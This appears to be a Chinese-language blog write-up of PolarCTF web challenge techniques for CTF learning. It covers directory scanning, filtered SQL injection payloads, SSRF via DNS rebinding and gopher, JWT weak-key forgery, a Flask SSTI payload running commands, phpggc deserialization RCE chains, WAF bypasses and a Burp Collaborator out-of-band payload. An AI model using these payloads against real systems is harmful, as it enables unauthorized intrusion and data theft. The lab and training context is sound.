1. PolarCTF Web赛题实战笔记从入门到进阶作为一名长期活跃在CTF赛场的选手我参加了最近几届PolarCTF比赛发现Web类题目占比逐年提升且难度梯度设置合理非常适合作为Web安全学习的实战素材。本文将系统梳理我在PolarCTF Web赛题中的解题思路和技巧沉淀涵盖基础考点到高阶漏洞利用的完整知识链。提示本文所有解题环境均基于PolarCTF官方提供的在线靶机或本地Docker复现环境部分题目已对敏感信息做脱敏处理。1.1 典型Web赛题分类解析PolarCTF的Web题目主要分为以下几类信息泄露类源码泄露.git/.svn备份文件泄露www.zip/index.php.bak敏感接口暴露/admin/config.php注入类SQL注入布尔/时间盲注XSS存储型/DOM型模板注入SSTI逻辑漏洞类越权访问水平/垂直支付逻辑漏洞验证码绕过协议特性类HTTP请求走私SSRF利用CRLF注入新兴技术类WebAssembly逆向GraphQL接口攻击JWT伪造2. 基础题目通关技巧2.1 信息收集三板斧在PolarCTF的初级Web题中80%的flag可以通过系统化的信息收集发现。我的标准操作流程如下基础扫描# 使用dirsearch进行目录扫描 python3 dirsearch.py -u http://target.com -e php,html,zip,bak -x 403,404 -t 50 # 检查常见备份文件 curl http://target.com/index.php.bak wget http://target.com/www.zip源码审计 发现源码后立即检查硬编码凭证password/admin/secret注释中的线索TODO/FIXME非常规接口/debug/consoleHTTP头分析curl -I http://target.com # 特别注意Server/X-Powered-By/Set-Cookie等字段2.2 SQL注入实战案例PolarCTF 2023初赛有一道典型SQL注入题登录界面存在过滤# 模拟题目过滤逻辑 def filter_input(input): blacklist [union, select, or, and, ] for word in blacklist: input input.replace(word, ) return input绕过方案使用注释符替代空格/**/大小写混合SeLeCt双重URL编码%2520代替空格最终payloadusernameadmin/**/UnIoN/**/SeLeCt/**/1,2,flag/**/FrOm/**/secret_table%233. 进阶题目突破要点3.1 SSRF绕过技巧在PolarCTF 2024半决赛遇到一道SSRF限制题要求访问内网http://internal/flag.php但有以下限制禁用http:///https://协议必须包含polarctf.com域名解决方案利用DNS重绑定技术# 配置DNS解析记录 evil.polarctf.com A记录 → 外部IP1.1.1.1 TTL设置为0 快速修改A记录为内网IP192.168.1.1使用非标准协议gopher://internal:80/_GET%20/flag.php%20HTTP/1.1%0AHost:%20internal%0A%0A3.2 JWT伪造实战遇到使用JWT认证的题目时按以下步骤操作获取样例JWTeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.KEE6F7b6YwDqHk6WQq7ZQ7wQ6WQq7ZQ7wQ6WQq7ZQ7w使用jwt_tool破解弱密钥python3 jwt_tool.py -t http://target.com -rh Authorization: Bearer JWT -C -d wordlist.txt伪造admin权限import jwt new_token jwt.encode({user:admin}, weakkey, algorithmHS256)4. 高频漏洞利用模板4.1 Flask SSTI利用链当发现Python Flask模板注入时使用以下payload逐步测试基础检测{{7*7}} → 49 {{config}} → 显示配置信息命令执行{{.__class__.__mro__[1].__subclasses__()[413](cat /flag,shellTrue,stdout-1).communicate()[0].strip()}}绕过过滤技巧使用|attr()替代点号十六进制编码敏感字符利用字符串拼接flag4.2 PHP反序列化漏洞对于PHP反序列化题目标准攻击流程生成恶意序列化数据class Exploit { public $cmd cat /flag; } echo serialize(new Exploit);寻找触发点unserialize($_COOKIE[data])file_get_contents(php://input)使用gadget链phpggc -l # 列出可用链 phpggc Monolog/RCE1 system cat /flag -p5. 实战调试技巧5.1 浏览器开发者工具妙用DOM断点在元素上右键 → Break on → attribute modifications追踪动态生成的JS代码XHR拦截// 在Console中重写fetch const originalFetch window.fetch; window.fetch function() { console.log(Intercepted:, arguments); return originalFetch.apply(this, arguments); }本地覆盖Sources → Overrides → 创建本地文件夹修改JS/CSS文件实时生效5.2 Burp Suite进阶用法Intruder爆破技巧使用Cluster bomb攻击类型处理多参数组合设置Grep - Extract自动捕获响应中的flag格式Macro配置# 自动登录后获取新session Macro: - Request: POST /login Params: usernameadminpassword123456 - Extract: Set-Cookie: session(.*?)Collaborator检测盲注||nslookup ${subdomain}.burpcollaborator.net||6. 防御绕过艺术6.1 WAF绕过实战遇到Cloudflare等WAF时尝试以下方法参数污染?id1idunion select 1,2,3--注释混淆/*!50000select*/ 1,2,flag from secret分块传输编码import requests headers {Transfer-Encoding: chunked} data 1\r\nA\r\n0\r\n\r\nGET /flag HTTP/1.1\r\nHost: internal\r\n\r\n requests.post(http://target.com, headersheaders, datadata)6.2 代码审计技巧危险函数定位# PHP grep -r eval( src/ grep -r system( src/ # Java grep -r Runtime.getRuntime().exec src/路由分析# Flask路由提取 from flask import Flask app Flask(__name__) print(app.url_map)依赖库漏洞检查npm audit pip-audit7. 比赛策略与工具链7.1 个人工具包配置我的CTF Web渗透工具链基础环境Kali Linux虚拟机快照功能必备Chrome Firefox双浏览器Burp Suite Pro FoxyProxy脚本集合~/tools/ ├── sqlmap/ # 注入自动化 ├── ffuf/ # 目录爆破 ├── jwt_tool/ # JWT分析 ├── ysoserial/ # 反序列化 └── custom_scripts/ # 自研脚本实用小工具CyberChef本地部署Postman接口测试Wappalyzer技术栈识别7.2 团队协作流程高效团队作战模式任务分配信息收集1人代码审计2人漏洞利用1人文档记录1人知识共享## [Web] 题目名称 ### 发现时间 ### 解题步骤 1. 发现注入点 2. 绕过过滤 3. 获取flag ### 注意事项应急方案遇到卡题15分钟立即求助每30分钟同步进展最后1小时集中冲刺高分题8. 赛后复盘与提升8.1 错题本建设我维护的Web漏洞错题本结构漏洞类型题目名称关键突破点失败原因解决方案SSTIPolarCTF2023-Flask过滤_字符未尝试attr()JWTPolarCTF2024-Admin弱密钥爆破字典不全改用rockyou.txt8.2 技能提升路径根据PolarCTF题目趋势制定的学习计划基础巩固《Web安全攻防实战》OWASP Top 10实验专项突破每周2道SSTI题目研究新型WAF绕过技术实战演练HackTheBox Web挑战CTFtime赛事日历在最近一次PolarCTF比赛中我通过系统化的信息收集发现了一个被遗忘的.git目录通过git reset --hard恢复了被删除的config.php文件其中包含数据库凭证。这个经验让我意识到即使在看似严密的系统中开发人员的疏忽往往是最脆弱的突破口。建议新手玩家养成检查版本控制目录的习惯这个简单的动作可能带来意外收获。
阅读完成 · 觉得有帮助?